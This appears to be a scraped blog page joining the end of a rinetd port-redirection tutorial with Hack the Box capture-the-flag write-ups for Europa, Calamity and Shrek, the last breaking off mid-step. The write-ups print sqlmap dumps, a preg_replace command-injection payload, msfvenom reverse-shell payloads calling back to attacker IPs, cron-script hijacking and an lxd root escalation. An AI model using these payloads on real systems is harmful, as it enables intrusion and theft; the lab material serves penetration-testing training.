![[Image: 46.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e-r4NjtaymA/Ws90QKePi9I/AAAAAAAAWRE/Frn2r0afHVkuqa-IqLraj-xdc_FVyTe_wCLcBGAs/s1600/46.png?w=687&ssl=1)
After installing rinetd, open its configuration file from /etc/rinetd.config for configuring it as per your requirement.
![[Image: 47.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FMP_C3xS_3U/Ws90QuOQ5HI/AAAAAAAAWRM/2l9dESajqRE58NGvOaAvV_mMJPoxJ8UZACLcBGAs/s1600/47.png?w=687&ssl=1)
Here we need to enter following details for port redirection.- Bind address: Proxy server IP: 192.168.1.132 (Home PC)
- Bind port: 80
- Connect address: RDP server IP: 192.168.1.110
- Connect port: 8080
![[Image: 48.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-WDlLUUQT1gg/Ws90QZCzzlI/AAAAAAAAWRI/9HyIM2Ly-pcJxrtDFHDpWTMYVQwSoHj2wCLcBGAs/s1600/48.png?w=687&ssl=1)
Then save the file and restart the service with help of below command.
service rinetd restart
1
service rinetd restart
![[Image: 49.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ljLi0TmvGFQ/Ws90RKckpxI/AAAAAAAAWRQ/12lKv9oFCE4CInm9F7pMNw0ZgFrRq1KbgCLcBGAs/s1600/49.png?w=687&ssl=1)
Now when you explore your proxy 192.168.1.132 server via port 80 it will redirect incoming traffic to the destination web server 192.168.1.110 on port 8080 and you will access it.
![[Image: 50.PNG?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-5MOPgZ4Ep3U/Ws90RSdjyuI/AAAAAAAAWRU/7GgLpz5ig6seOQRsynLDT55m1aoQdQ46QCLcBGAs/s1600/50.PNG?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Europa” which is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.
Level: Hard
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.22 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.22
1
nmap -A 10.10.10.22
From given below image, you can observe we found port 22, 80 and 443 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-sMlhbT8_UqE/WsuZLkEtG6I/AAAAAAAAWPE/cbHJw-pZdvE4WUo3j0WxPrbjm6cnjxJnwCEwYBhgL/s1600/1.png?w=687&ssl=1)
As you have seen in our all previous lab that we love to explore target IP via port 80 on our web browser, similarly we follow that tradition in this also but Bad Unluckily!! This time it didn’t work at all.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-gLFuFDVR_VI/WsuZOyL9q2I/AAAAAAAAWO4/GhwApMXtfacNBYssZpfWBbg6G2gXT4ELgCEwYBhgL/s1600/2.png?w=687&ssl=1)
Now the last option was to add target IP inside /etc/host file since port 443 was open containing two domain names and as it is a challenge of hack the box thus I edit europacorp.htb and admin-portal.europccorp.htb as a hostname.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SHyeUh4GhPM/WsuZRrRy6EI/AAAAAAAAWPE/1rXdVPl6K0Yxlsbnm9A4srdBkZzY1pNMwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Then I explore the domain name: admin-portal.europccorp.htb through the web browser and found following login page as shown below.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-jX97tjLkWAo/WsuZSBIcnwI/AAAAAAAAWO8/wxSJZqt_B18iJur5f2F98iMrVZNHIPp7QCEwYBhgL/s1600/4.png?w=687&ssl=1)
In order to breach confidentiality we can try SQL form based attack and for this, I preferred sqlmap following command to enumerate database name.
sqlmap -u [To see content please register here] --form --dbs --batch
1
sqlmap -u [To see content please register here] --form --dbs --batch
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mUnnpmLB6sQ/WsuZSL4462I/AAAAAAAAWPA/Ch_FPcVE5aEoAks-3AYlKux1zHIEldTpQCEwYBhgL/s1600/6.png?w=687&ssl=1)
Luckily our assumption set true and it dumbs the database name “admin”.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-EyGeeYKQh_c/WsuZSXj0b3I/AAAAAAAAWPE/0Sx1yQ3SJucjSjEbUO5ntiy2jN7TfCwKQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then I run following command for enumerating entire table details.
sqlmap -u [To see content please register here] -D admin --dump-all --batch
1
sqlmap -u [To see content please register here] -D admin --dump-all --batch
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-CkDGdGux8wI/WsuZS6_pTsI/AAAAAAAAWPI/R6esOgCgta0uKEWCqCmLree0AT2g6O19ACEwYBhgL/s1600/8.png?w=687&ssl=1)
Awesome!! I found a table “users” which 2 entries having the username and password columns.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hX7gXIJYIJ8/WsuZTAI8zQI/AAAAAAAAWPQ/IrCJi4HmAzYrysDhYOtJs8uWxCJqbAl0gCEwYBhgL/s1600/9.png?w=687&ssl=1)
Using online MD5 decryption I cracked hash password and received “SupersecretPassword!” and use these credential to login into admin console.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jT6cmO-eiZc/WsuZLSrAG7I/AAAAAAAAWPI/bEXwP0XxAs4F9VH8dWU-SimsJh0UuOWiQCEwYBhgL/s1600/10.png?w=687&ssl=1)
After fruitfully validation I got a dashboard from where I step towards Tools options.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-e5GXKg5IWVU/WsuZLiRfnjI/AAAAAAAAWPE/VqGrOw0rQNQV-2SEz7NsB9jOuOFdLnRDACEwYBhgL/s1600/11.png?w=687&ssl=1)
It was set up with a script for open VPN generator using the PHP function preg_replace() on user input. When I investigate more related to this function, it is suggested not to use preg_replace() on user input as it can lead to command execution vulnerability.
Considering the above suggestion true, I fetched its request into burp suite and sent it to the repeater for exploit command injection vulnerability.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Y3Tn4-zLDjM/WsuZMmyB0WI/AAAAAAAAWO8/9XHrcTJawUIy1MHsolW-Pgv02VDH_8RLgCEwYBhgL/s1600/12.png?w=687&ssl=1)
Here I notice three parameter pattern, ipaddress, and test where we can add our arbitrary code for execution but before that, you need to know correct step “how to exploit it” manually.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-sVnZykEKId4/WsuZM51JxhI/AAAAAAAAWPE/EggCeufCD3UKRl4uy2DeloNayt4ZkOmqACEwYBhgL/s1600/13.png?w=687&ssl=1)
So when I search more related to this then I found so many links which were describing /e option is a threat to PHP preg_replace function.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-C54sbh9uu4E/WsuZNCcqkOI/AAAAAAAAWPA/Wr1MS3ypFMcRTyetv_mGHLt2_L9-WVPxQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Now the code can be execute by sending http post request as given below format.
pattern=/ip_address/e&ipaddress=arbitrary command&text=ip_addres
For example: To check directory list we can run following command and verify resultant output.
pattern=/ip_address/e&ipaddress=ls &text=ip_addres
Similarly we can run any malicious code inside this for achieving reversion connection.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Nt8VIt--rFk/WsuZNuEGljI/AAAAAAAAWPM/9C6A5syelUAjS7x-XUFgk3VtMDEob7zQwCEwYBhgL/s1600/15.png?w=687&ssl=1)
Using msfvenom following command we had generated malicious bash code for getting a reverse connection from victim’s machine at our listening port.
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.6 lport=1234 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.6 lport=1234 R
As shown in the below image, the size of the generated payload is 101 bytes, now copy this malicious code and send it to target. After that start Netcat/multi handler for accessing reverse connection and wait for getting its TTY shell.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-deLNElJRbss/WsuZN_z7aII/AAAAAAAAWPQ/UwMqORw5YfIQVzVdMLOVlWq0ygFETFmlQCEwYBhgL/s1600/16.png?w=687&ssl=1)
Now if you will run above-copied code then it will get failed in its mission therefore before running the ordinal code you need to encode it in URL encoding format and then copy the URL encoded code for execution.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-88gR5dglXEg/WsuZN6-ZZSI/AAAAAAAAWO8/l_T6VumXpN04KVjqzpt3m2D0okpzc4rogCEwYBhgL/s1600/17.png?w=687&ssl=1)
Now I had pasted the above-encoded code as shown in below image and execute it with the GO tab.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-bIDIHnzBQPY/WsuZOtpe-kI/AAAAAAAAWPE/VBn2Mv5ss9MemZ8rEytRQ44MzOnX_SX1wCEwYBhgL/s1600/18.png?w=687&ssl=1)
Meanwhile, I return to my Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload cmd/unix/reverse_netcat
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload cmd/unix/reverse_netcat
msf exploit(multi/handler) set lhost 10.10.14.6
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
From given below image you can observe command session1 opened for accessing victim tty shell then I upgrade command shell into a meterpreter session.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-MmAigVgCCKc/WsuZO4sT0vI/AAAAAAAAWO8/uwuwXnVgN3Ivjl37D2wUETNtgKYmY86UACEwYBhgL/s1600/19.png?w=687&ssl=1)
Pleasing!! We have bound the shell of victims system, now let’s finish the task by grabbing user.txt and root.txt file and after traversing some directory I found the user.txt file in /home/john
Meterpreter>sysinfo
Meterpreter>cd /home
Meterpreter>cd john
Meterpreter>cat user.txt
1
2
3
4
Meterpreter>sysinfo
Meterpreter>cd /home
Meterpreter>cd john
Meterpreter>cat user.txt
Great!! Here we had completed 1st task now move to 2nd tasK
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-KTH74HbNj80/WsuZPud-VMI/AAAAAAAAWPE/qAT2kx1AMDYqa-TQMj7QboAO8P_a_IKwACEwYBhgL/s1600/20.png?w=687&ssl=1)
We start penetrating targets machine and after some time we came to know about the clearlogs file which has root privilege from inside contents of crontab file.
Using cat command we read contents of clearlogs here the cronjob was executing the shell script logcleared.sh with root permission.
meterpreter>cat /etc/crontab
meterpreter>cat /var/www/cronjobs/clearlogs
1
2
meterpreter>cat /etc/crontab
meterpreter>cat /var/www/cronjobs/clearlogs
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Qc52d2NutUc/WsuZQB8AuSI/AAAAAAAAWPE/fJEODHn8DOwPCo7tbN_8nPsz0ETDf0AowCEwYBhgL/s1600/21.png?w=687&ssl=1)
Then we move into cmd directory and for spawning proper tty shell of target’s system we need to import python3 file, therefore, I run following command inside the meterpreter shell
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-v5bJW8gPrFQ/WsuZPxxvJRI/AAAAAAAAWPE/u2LYJXCKzHc8_e9OQ4iBewwn_4lbjRu5QCEwYBhgL/s1600/22.png?w=687&ssl=1)
This time again we had used the same payload cmd/unix/reverse_netcat generated malicious as above on a new port 5678 for reverse connection and copied the generated code and start netcat on a new terminal for getting the reverse connection.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-MDqulmv3zOw/WsuZQnrIDyI/AAAAAAAAWPA/LtPcxOH9m_k5t0tPe5Mc19wq5B_xTwN4wCEwYBhgL/s1600/23.png?w=687&ssl=1)
Then edit the above malicious code into logcleared.sh file with help of echo command and gave full permission as shown below.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZjQQEiS7MYA/WsuZQ-UR1MI/AAAAAAAAWPM/XuqFmasrJ9YcjTdFjjmvplDllHkqOBqyACEwYBhgL/s1600/24.png?w=687&ssl=1)
nc -lvp 5678
1
nc -lvp 5678
WOW, we got the reverse connection from victims system with root access now let’s catch the flag and finished the task.
id
cd /root
cat flag.txt
1
2
3
id
cd /root
cat flag.txt
Finally, we have completed both tasks successfully and get juice experience.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-g0Q7jDanY3Q/WsuZRIuCn7I/AAAAAAAAWPE/Zr4Ddg9MfC45eQ360jnBMcJ26CCgQ5lhwCEwYBhgL/s1600/25.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Calamity” which is available online for those who want to increase their skill in penetration testing and black box testing. Shrek is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.27 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.27
1
nmap -A 10.10.10.27
From given below image, you can observe we found port 22 and 80 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EISzkShNeAM/WspWJPup3VI/AAAAAAAAWLw/iyhlld8V-Q8EljgxxSFbqywXlSuWjc8mwCLcBGAs/s1600/1.png?w=687&ssl=1)
As port 80 is running HTTP on the target machine, so we open the IP address in our browser.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-4paKT3fn-CA/WspGA5fSiBI/AAAAAAAAWKg/7I76As8sYbgbkGPDrDPu6E43_Q0NrhemgCEwYBhgL/s1600/2.png?w=687&ssl=1)
We don’t find anything on the homepage so we use dirb to enumerate the directories.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-TdtHcHuy6Ck/WspWZjoRAjI/AAAAAAAAWMc/sCtrwT1f6XgP71nRFtWFNfzTeE9Ho1S1gCLcBGAs/s1600/3.png?w=687&ssl=1)
Now we open admin.php, and find a login page. We take a look at the source page but we don’t find anything.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3p-AaYDPlRo/WspGB0qSsAI/AAAAAAAAWKU/ySzdpSFXRrQ5sQyyYyqwbl31J76Si_DygCEwYBhgL/s1600/5.png?w=687&ssl=1)
When we use curl to access the page we find a password commented in the HTML page.
curl -v [To see content please register here]
1
curl -v [To see content please register here]
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uFFkEco-YGw/WspWZ7NJGTI/AAAAAAAAWMk/AP3g0KA_dlMlj5EuoSbT2qny68Od2ALDQCLcBGAs/s1600/6.png?w=687&ssl=1)
We try the username admin and the password we find on the page to login to the page. We then get access to a page that allows us to run php code in it.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-T48DXWIehig/WspGCf1c3UI/AAAAAAAAWKY/ez3LFXRagjs98Sk1YhVe_zVQfYI2qi5-gCEwYBhgL/s1600/7.png?w=687&ssl=1)
We first try to execute normal PHP payload but are unable to get a stable tty shell, so we use base64 encoded php shell to exploit this web application. We generate a base64 encoded shell using metasploit.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4444 -e php/base64 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4444 -e php/base64 -f raw
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-qMFJ-LuAJnE/WspWaf5YZkI/AAAAAAAAWMo/CPWslnU3k2Ua9AWxVFjYh5nt7cX7U5uyQCLcBGAs/s1600/8.png?w=687&ssl=1)
We paste this shell in the target machine’s page between <?php ?> tag.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-iQ4wos_TOiA/WspGC_YMnxI/AAAAAAAAWKg/K6wyZik0nyI2VJBu1wDcfqdyLmH_mh3bwCEwYBhgL/s1600/9.png?w=687&ssl=1)
We setup our listener using metasploit to get reverse shell. As soon as we run our shell on the page we get the reverse shell.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.3
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.3
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-BaN02GDacz8/WspWIx8ufPI/AAAAAAAAWLo/vLJ-Q8HquPUNKDRu58Hhr4S67VvVVKs0wCLcBGAs/s1600/10.png?w=687&ssl=1)
After getting reverse shell we enumerate through the directories, in /home/xalvas we find a file called user.txt. When we open user.txt we find our first flag.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-FUoK1rQU3dw/WspWJO0GbOI/AAAAAAAAWLs/wWh9lN2uGVMqUFe6DrPdUBQSu9LrjAGzwCLcBGAs/s1600/11.png?w=687&ssl=1)
We also find a file called recov.wav; we download it to our system to gain further information.
download recov.wav /root/Desktop
1
download recov.wav /root/Desktop
We go to alarmclocks directory inside the xalvas directory and find 1 mp3 and 1 wav file. We download both files into our system.
download rick.wav /root/Desktop/
download xouzouris.mp3 /root/Desktop/
1
2
download rick.wav /root/Desktop/
download xouzouris.mp3 /root/Desktop/
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-35nSFBV6yAI/WspWJ4FfV3I/AAAAAAAAWL0/E_cw9ndKBCEZW87rxty3o0CWFwUmC0qPACLcBGAs/s1600/12.png?w=687&ssl=1)
We use a tool called audacity to perform steganography on the audio files. Listening to the audio we find 2 of them sound similar. We load recov.wav and rick.wav into audacity, invert rick.wav then export the combination of both. After combining both the files we find a password in the audio “18547936..*”
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Bp_rE-Ymbws/WspF_PssNHI/AAAAAAAAWKQ/rA2b7bw4CrE7sbvmZ8-kHYB_-DtOtC_PgCEwYBhgL/s1600/13.png?w=687&ssl=1)
We use the username as xalvas and password that we found in the audio file to log in through ssh into the target machine. When we run id command we find that the user is added in lxd group.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-DkJXspuY2wQ/WspWJ-h274I/AAAAAAAAWL4/-OBXRbSdaY4435ke-nQZlC3kWNl5VTlTwCLcBGAs/s1600/15.png?w=687&ssl=1)
As lxd is a container technology we can run processes as root using lxd. To exploit this we download “lxd alpine builder” to create an image of alpine Linux.
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-nx1QBKYltp4/WspWX4BKvjI/AAAAAAAAWME/rUNEUCisH0MDKsnmp1wV7j5KX6Wl0dOQgCLcBGAs/s1600/17.png?w=687&ssl=1)
Now create a 32-bit Alpine Linux image using lxd alpine builder.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-eyFwHU5FAyw/WspWX3DU-mI/AAAAAAAAWMM/DL-qrW3-PgcUTVsmx25031id5rPOHhltACLcBGAs/s1600/18.png?w=687&ssl=1)
We send the Linux image to the target machine using scp.
scp alpine-v3.7-i686-20180405_0501.tar.gz [email protected]:
1
scp alpine-v3.7-i686-20180405_0501.tar.gz [email protected]:
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-1zS7w1Jg8Ck/WspWX_pKLPI/AAAAAAAAWMI/8dJGz_mp4WYJo24x2bFMm8ZAwtgHfzNhACLcBGAs/s1600/19.png?w=687&ssl=1)
We go to the target machine and import the Linux image and create an image called ignite with administrative privileges.
mkdir raj
mv alpine-v3.7-i686-20180405_0501.tar.gz raj
lxc image import alpine-v3.7-i686-20180405_0501.tar.gz --alias alpine
lxc image list
lxc init alpine ignite -c security.privileged=true
1
2
3
4
5
mkdir raj
mv alpine-v3.7-i686-20180405_0501.tar.gz raj
lxc image import alpine-v3.7-i686-20180405_0501.tar.gz --alias alpine
lxc image list
lxc init alpine ignite -c security.privileged=true
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-4vbfVVUHRJk/WspWZG1J1AI/AAAAAAAAWMY/cssP2ERHzYQwnpBYiH3M7wbaKtVf2QIKQCLcBGAs/s1600/20.png?w=687&ssl=1)
We mount the whole filesystem into the container; we start the container and execute the shell the shell inside. After spawning the shell we open root.txt in /mnt/root/root directory and find the final flag.
lxc config device add ignite mydevice mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
1
2
3
lxc config device add ignite mydevice mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-sczpEV4CA9o/WspWZPVO79I/AAAAAAAAWMU/4aznQSAWW9s6W_A0QUvWSD63n-XutkgDACLcBGAs/s1600/21.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Shrek” which is available online for those who want to increase their skill in penetration testing and black box testing. Shrek is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.47 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.47
1
nmap -sV 10.10.10.47
From given below image, you can observe we found port 21,22 and 80 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-yUngUWFiFdc/WsegH-HX2ZI/AAAAAAAAWIg/3e9grbva_iMPQoWuA0_68V_Y3EUyCbUCQCEwYBhgL/s1600/1.png?w=687&ssl=1)
As we know from the nmap scan that the target machine is running HTTP on port 80, we open the Ip in our browser.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YOxxkpjg_dU/WsegMQzRz9I/AAAAAAAAWIc/QH-5bw97O5Ux80opAo7mgQxZU50uU4xAACEwYBhgL/s1600/3.png?w=687&ssl=1)
We don’t find anything on the home page, so we use dirb to enumerate the directories.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-sQ8N1gkCdbw/WsegKa5UHlI/AAAAAAAAWIk/RViT5ewAiOcMNhIWMZQTNl7YpyjqbCF5gCEwYBhgL/s1600/2.png?w=687&ssl=1)
dirb scan shows a directory called uploads. We open uploads/ directory and find a file called secret_ultimate.php.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Wu734bnoG6o/WsegMSxeOSI/AAAAAAAAWIc/kb_EMfpN7b45iJD8qzlhoBFoJIlw952HgCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now we use wget to download the file into our system.
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-QxuQ0zJXVmE/WsegMvFG-dI/AAAAAAAAWIg/jK9qVAVfz_YfgjlbMcUXNiCBZE7SAAvcgCEwYBhgL/s1600/5.png?w=687&ssl=1)
We open secret_ultimate.php and find a path to a directory called secret_area_51.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-utARto5FepI/WsegNH2XT5I/AAAAAAAAWIw/Q7-QiT4pf1o0Tk869AGY-2I10IlpbDLPQCEwYBhgL/s1600/6.png?w=687&ssl=1)
We open it in our browser and find an audio file in that directory.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-vAfEbkfVqGg/WsegNfU3y3I/AAAAAAAAWIk/h_n1BObf3CgmIzDLfw5eFA6AX1Rx_AelACEwYBhgL/s1600/7.png?w=687&ssl=1)
We download into our system and use an online site called academo.org to analyse the spectrum, we find a hint to log in through FTP using username donkey.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-RLa9xTEB4eI/WsegNlIhuiI/AAAAAAAAWIw/Rs4FGWhF5-ch33GBbGzyAWJq5x3UbLMgQCEwYBhgL/s1600/8.png?w=687&ssl=1)
Further analysis of the audio file gives us the password to the username.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5xbRzDpcTus/WsegNr-bTUI/AAAAAAAAWIs/B6qXIY1aCiIV_wPmx0QzWjvNA_kdA3fLwCEwYBhgL/s1600/9.png?w=687&ssl=1)
We login through FTP using the credentials we find in the audio file. After logging in we find a few text files and a file simply called key.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Qa-CQAsLTKw/WsegHzID4II/AAAAAAAAWIw/i-shvYqF9kUDoFP5kGQlnd3X2cp-lCyKQCEwYBhgL/s1600/10.png?w=687&ssl=1)
We download the key and all the test files we use mget to mass-download the txt files.
ftp> get key
ftp> mget *.txt
1
2
ftp> get key
ftp> mget *.txt
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-a7ZFU6f2iO4/WsegH_CWYCI/AAAAAAAAWIc/t3cD_FFF9hUSP6BaNGvMzXc59XUYiIydgCEwYBhgL/s1600/11.png?w=687&ssl=1)
On our system as we can see all the files have been downloaded.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hXs4RvM_3cY/WsegIlIFUdI/AAAAAAAAWIk/XF4JuBC_rbYoaby_FnL2XAVz78Rlxr9gACEwYBhgL/s1600/12.png?w=687&ssl=1)
We open the files one by one and in the highlighted file above we found a base64 encoded string that was differentiated by space.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZSGPc7F6bHc/WsegI7yrObI/AAAAAAAAWIw/qAfTKKuBj9cuOHw9H6hQep89L9PC1J_dQCEwYBhgL/s1600/13.png?w=687&ssl=1)
We decode the first base64 encoded string using hack bar and find the decoded string to be ‘PrinceCharming’
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-SgX-Lsua2EY/WsegI3_FW_I/AAAAAAAAWIY/sQqOweQdZdc__TKCg5rU0AAaveWj78xbgCEwYBhgL/s1600/14.png?w=687&ssl=1)
In another file, we find a base64 encoded string similarly differentiated by space.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-St5fNoBxJ_k/WsegJHq_yvI/AAAAAAAAWIk/2mfEvtqmh3wOgdqBbGGYKZFLjIg5fLmmACEwYBhgL/s1600/15.png?w=687&ssl=1)
We decode the base64 encoded string and find a hexadecimal encoded string.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Yt0TBBJbr38/WsegJYjY2yI/AAAAAAAAWIY/hL2drbvSRjkTRgmU4_JwwXntTAICovuFgCEwYBhgL/s1600/16.png?w=687&ssl=1)
We use python to decode the hexadecimal string. We use seccure module and use ‘PrinceCharming’ as key to decode the string and find the ssh username and passphrase for the key
import seccure
string ="hexadecimal string"
print seccure.decrypt(string, "PrinceCharming")
1
2
3
import seccure
string ="hexadecimal string"
print seccure.decrypt(string, "PrinceCharming")
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-eZVRQWtsAQk/WsegJmEVICI/AAAAAAAAWIk/x38kd5n5GCk14vw0JUb94EDsOmEtsdC-wCEwYBhgL/s1600/17.png?w=687&ssl=1)
We open the key file and find that is a rsa key for ssh.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-x-_32j32BpY/WsegJ4F0cJI/AAAAAAAAWIw/G-Ansc9JyAwbvaub6LGnk1WajO9Bxcp6gCEwYBhgL/s1600/18.png?w=687&ssl=1)
We use this key to log in through using this rsa key. We use the username as sec as we found earlier and use the passphrase we found before to log in. As we log in we go to /home/sec directory, in that directory we find a file called user.txt. When we open the file we get our first flag.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Elot4vkz2Y0/WsegKZDyg1I/AAAAAAAAWIk/YbaXYB33WXkcJ1udyXud-dwwjqpM0CloACEwYBhgL/s1600/19.png?w=687&ssl=1)
Going through the directories we find a file called thoughts.txt
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-qwzbsCEHKvU/WsegKzHfAkI/AAAAAAAAWIk/yMoarYx59UwFtRIDdnKB0Z8NLnTFSIWkgCEwYBhgL/s1600/20.png?w=687&ssl=1)
We create a file called raj in this directory.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lZAAMAyqjJ8/WsegK0f9aYI/AAAAAAAAWIo/9ccLwif8mp02qSqViU9hd5NA99Dzhnk4wCEwYBhgL/s1600/21.png?w=687&ssl=1)
After a few minutes, we find that it changed to user and group of the file changed to root.
